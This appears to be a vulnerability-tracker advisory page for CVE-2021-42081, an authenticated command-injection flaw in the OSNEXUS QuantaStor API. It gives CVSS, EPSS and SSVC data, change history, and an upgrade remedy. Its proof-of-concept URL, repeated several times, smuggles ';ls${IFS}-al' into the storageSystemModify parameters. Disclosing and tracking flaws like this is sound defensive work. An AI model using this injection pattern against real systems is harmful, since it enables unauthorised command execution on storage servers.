Description
An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API.

POC
http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al
Published: 2023-07-10
Score: 9.1 Critical
EPSS: < 1% Very Low
KEV: No
Impact: n/a
Action: n/a
AI Analysis

No analysis available yet.

Remediation

Vendor Solution

Upgrade to the latest version of OSNEXUS QuantaStor.

Tracking

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Advisories
Source ID Title
EUVD EUVD EUVD-2021-29067 An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API. POC http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al
History

Mon, 22 Sep 2025 06:45:00 +0000

Type Values Removed Values Added
Description An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API. An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API. POC http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al

Fri, 22 Nov 2024 12:00:00 +0000

Type Values Removed Values Added
References

Tue, 12 Nov 2024 15:15:00 +0000

Type Values Removed Values Added
Metrics ssvc

{'options': {'Automatable': 'no', 'Exploitation': 'none', 'Technical Impact': 'total'}, 'version': '2.0.3'}


Wed, 16 Oct 2024 12:30:00 +0000

Type Values Removed Values Added
References

Wed, 16 Oct 2024 12:00:00 +0000

Type Values Removed Values Added
References

Subscriptions

Osnexus Quantastor
cve-icon MITRE

Status: PUBLISHED

Assigner: DIVD

Published:

Updated: 2025-09-22T06:40:06.104Z

Reserved: 2021-10-07T17:12:57.678Z

Link: CVE-2021-42081

cve-icon Vulnrichment

Updated: 2024-08-04T03:22:25.989Z

cve-icon NVD

Status : Modified

Published: 2023-07-10T16:15:47.583

Modified: 2025-09-22T07:15:39.650

Link: CVE-2021-42081

cve-icon Redhat

No data.

cve-icon OpenCVE Enrichment

No data.

Weaknesses